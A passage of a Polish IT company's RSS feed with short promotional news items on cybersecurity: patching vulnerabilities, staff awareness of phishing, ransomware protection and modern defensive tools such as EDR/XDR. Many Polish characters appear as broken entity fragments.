			<description><![CDATA[ Niezaand#322;atane luki w oprogramowaniu to jedno z najczand#281;and#347;ciej wykorzystywanych narzand#281;dzi przez cyberprzestand#281;pcand#243;w. Kaand#380;dy dzieand#324; bez aktualizacji moand#380;e zwiand#281;kszyand#263; ryzyko wycieku danych lub przejand#281;cia systemand#243;w. Dlatego tak waand#380;ne jest, aby regularnie monitorowaand#263; infrastrukturand#281; IT i wdraand#380;aand#263; odpowiednie poprawki.
Nasze systemy zarzand#261;dzania podatnoand#347;ciami pomagajand#261; identyfikowaand#263; i eliminowaand#263; zagroand#380;enia na wczesnym etapie. Dajemy Ci pewnoand#347;and#263;, and#380;e Twoje dane sand#261; bezpieczne, a systemy dziaand#322;ajand#261; w sposand#243;b niezawodny. Nie pozwand#243;l, aby niepozorne zaniedbanie naraziand#322;o Twojand#261; firmand#281; na straty. ]]></description>
		</item><item>
			<title><![CDATA[ Brak świadomości pracowników – najczęstszy czynnik ryzyka ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1556</link>
			<description><![CDATA[ Jednym z gand#322;and#243;wnych powodand#243;w skutecznych atakand#243;w cybernetycznych jest brak odpowiedniej wiedzy i and#347;wiadomoand#347;ci pracownikand#243;w. Klikniand#281;cie w podejrzany link czy otwarcie zainfekowanego zaand#322;and#261;cznika moand#380;e mieand#263; powaand#380;ne konsekwencje dla firmy.
Inwestujand#261;c w szkolenia z zakresu cyberbezpieczeand#324;stwa, ktand#243;re pomagajand#261; budowaand#263; and#347;wiadomoand#347;and#263; zagroand#380;eand#324; wand#347;rand#243;d pracownikand#243;w, znaczand#261;co zwiand#281;kszysz bezpieczeand#324;stwo swojej organizacji. ]]></description>
		</item><item>
			<title><![CDATA[ Ataki ransomware – czy Twoja firma jest bezpieczna? ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1557</link>
			<description><![CDATA[ Ransomware to jedno z najpowaand#380;niejszych zagroand#380;eand#324; dla firm, polegajand#261;ce na zaszyfrowaniu danych i and#380;and#261;daniu okupu za ich odzyskanie. Tego typu ataki mogand#261; sparaliand#380;owaand#263; dziaand#322;anie przedsiand#281;biorstwa i naraziand#263; je na ogromne straty.
Nasze rozwiand#261;zania zapewniajand#261; skutecznand#261; ochronand#281; przed ransomware, w tym zaawansowane systemy kopii zapasowych, szyfrowanie danych oraz monitorowanie w czasie rzeczywistym. Zabezpiecz swojand#261; firmand#281;, zanim padnie ofiarand#261; cyberprzestand#281;pcand#243;w. Skontaktuj siand#281; z nami, aby dowiedzieand#263; siand#281; wiand#281;cej o ochronie przed ransomware. ]]></description>
		</item><item>
			<title><![CDATA[ Nowe zagrożenia w cyberprzestrzeni – jak się przed nimi chronić? ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1558</link>
			<description><![CDATA[ Cyberprzestand#281;pcy stale rozwijajand#261; swoje metody, takie jak ransomware, phishing czy ataki na luki w zabezpieczeniach, stawiajand#261;c przed firmami coraz wiand#281;ksze wyzwania. Ochrona danych i systemand#243;w wymaga zaawansowanych rozwiand#261;zaand#324;, ktand#243;re pozwalajand#261; wykrywaand#263; zagroand#380;enia w czasie rzeczywistym i skutecznie im zapobiegaand#263;. Oferujemy nowoczesne technologie, takie jak EDR/XDR, firewalle nowej generacji oraz systemy zarzand#261;dzania podatnoand#347;ciami, ktand#243;re zapewniajand#261; najwyand#380;szy poziom bezpieczeand#324;stwa. Skontaktuj siand#281; z nami, aby dowiedzieand#263; siand#281;, jak moand#380;emy pomand#243;c zabezpieczyand#263; Twojand#261; firmand#281; przed wspand#243;and#322;czesnymi zagroand#380;eniami. ]]></description>
		</item></channel>
</rss>